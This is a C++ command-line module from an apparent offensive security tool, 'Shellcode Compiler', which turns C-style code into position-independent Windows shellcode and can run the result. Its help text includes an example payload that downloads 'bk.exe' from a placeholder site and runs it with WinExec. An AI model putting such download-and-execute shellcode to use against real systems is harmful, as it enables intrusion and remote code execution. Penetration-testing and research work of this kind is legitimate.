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Copy pathCommandLine.cpp
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197 lines (156 loc) · 5.27 KB
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#include "CommandLine.h"
// Program version
#define PROGRAM_VERSION "v0.2 Alpha"
// Global variable for command line arguments
bool CommandLine::g_bHelp = false;
bool CommandLine::g_bVerbose = false;
bool CommandLine::g_bTest = false;
bool CommandLine::bError = false;
bool CommandLine::g_bReadFile = false;
string CommandLine::g_sReadFile = "";
bool CommandLine::g_bOutputFile = false;
string CommandLine::g_sOutputFile = "";
bool CommandLine::g_bASMFile = false;
string CommandLine::g_sASMFile = "";
// Print help
void CommandLine::PrintHelp(string p_sFile)
{
cout << endl;
cout << "Shellcode Compiler " << PROGRAM_VERSION << endl;
cout << "Ionut Popescu [ NytroRST ]" << endl;
cout << "NytroSecurity [ nytrosecurity.com ]" << endl << endl;
cout << "Program description" << endl;
cout << "-------------------" << endl;
cout << "\tShellcode Compiler is a program that compiles C/C++ style code " << endl;
cout << "into a small, position-independent and NULL-free shellcode for Windows." << endl;
cout << "It is possible to call any Windows API function in a user-friendly way." << endl << endl;
cout << "Command line options " << endl;
cout << "--------------------" << endl;
cout << "\t-h (--help) : Show this help message" << endl;
cout << "\t-v (--verbose) : Print detailed output" << endl;
cout << "\t-t (--test) : Test (execute) generated shellcode" << endl;
cout << "\t-r (--read) : Read source code file" << endl;
cout << "\t-o (--output) : Output file of the generated binary shellcode" << endl;
cout << "\t-a (--assembbly) : Output file of the generated assembly code" << endl << endl;
cout << "Source code example" << endl;
cout << "-------------------" << endl << endl;
cout << "\tfunction URLDownloadToFileA(\"urlmon.dll\");" << endl;
cout << "\tfunction WinExec(\"kernel32.dll\");" << endl;
cout << "\tfunction ExitProcess(\"kernel32.dll\");" << endl << endl;
cout << "\tURLDownloadToFileA(0,\"https://site.com/bk.exe\",\"bk.exe\",0,0);" << endl;
cout << "\tWinExec(\"bk.exe\",0);" << endl;
cout << "\tExitProcess(0);" << endl << endl;
cout << "Invocation example" << endl;
cout << "------------------" << endl;
cout << "\t" << p_sFile << " -r Source.txt -o Shellcode.bin -a Assembly.asm" << endl;
}
// Parse command line arguments
void CommandLine::ParseCommandLine(int argc, char *argv[])
{
string CurrentParam;
string NextParam;
// Check arguments
for (int i = 1; i < argc; i++)
{
CurrentParam = argv[i];
if (i + 1 < argc) NextParam = argv[i + 1];
else NextParam = "";
// Check options
if (CurrentParam.compare("-h") == 0 || CurrentParam.compare("--help") == 0) g_bHelp = true;
else if (CurrentParam.compare("-v") == 0 || CurrentParam.compare("--verbose") == 0) g_bVerbose = true;
else if (CurrentParam.compare("-t") == 0 || CurrentParam.compare("--test") == 0) g_bTest = true;
// Arguments that require an option as a second argument
else if (CurrentParam.compare("-r") == 0 || CurrentParam.compare("--read") == 0)
{
g_bReadFile = true;
if (NextParam.length() > 0) g_sReadFile = NextParam;
else
{
bError = true;
cout << endl << "Missing required value for -r argument" << endl;
}
}
else if (CurrentParam.compare("-o") == 0 || CurrentParam.compare("--output") == 0)
{
g_bOutputFile = true;
if (NextParam.length() > 0) g_sOutputFile = NextParam;
else
{
bError = true;
cout << endl << "Missing required value for -o argument" << endl;
}
}
else if (CurrentParam.compare("-a") == 0 || CurrentParam.compare("--assembly") == 0)
{
g_bASMFile = true;
if (NextParam.length() > 0) g_sASMFile = NextParam;
else
{
bError = true;
cout << endl << "Missing required value for -a argument" << endl;
}
}
}
// Check for errors
if (bError == true)
{
cout << "Cannot compile, check command line arguments!" << endl;
return;
}
// Help
if (g_bHelp)
{
PrintHelp(argv[0]);
return;
}
// Parse source file
if (g_bReadFile)
Compile::ParseFile(Utils::ReadSourceFile(g_sReadFile));
else
{
cout << "You must specify a source code file!" << endl;
return;
}
// Output data from verbose mode
if (g_bVerbose) DebugUtils::DumpAllData();
// Output ASM file
if (g_bASMFile)
{
if (Utils::FileExists(g_sASMFile)) Utils::DeleteSourceFile(g_sASMFile);
Compile::CompileAllData(g_sASMFile);
}
else
{
string sFile = Utils::GetTemp();
sFile += "\\SC.asm";
g_sASMFile = sFile;
if (Utils::FileExists(g_sASMFile)) Utils::DeleteSourceFile(g_sASMFile);
Compile::CompileAllData(sFile);
}
// Output file
if (!g_bOutputFile)
g_sOutputFile = "SC2.bin";
if (Utils::FileExists(g_sOutputFile)) Utils::DeleteSourceFile(g_sOutputFile);
// Compile using Keystone engine
size_t nAssembledSize = 0;
unsigned char *pcAssembled = KeystoneLib::Assemble(&nAssembledSize, Utils::ReadSourceFile(g_sASMFile));
if (nAssembledSize == 0)
{
cout << "ERROR: Cannot compile the code!" << endl;
return;
}
// Write output to file
size_t nResult = Utils::WriteBinaryFile(g_sOutputFile, pcAssembled, nAssembledSize);
if (nResult == 0)
{
cout << "ERROR: Cannot write the compiled shellcode to file!" << endl;
return;
}
// Test shellcode
if (g_bTest)
{
cout << endl << "Testing shellcode..." << endl;
Sleep(3000);
DebugUtils::TestShellcode(g_sOutputFile);
}
}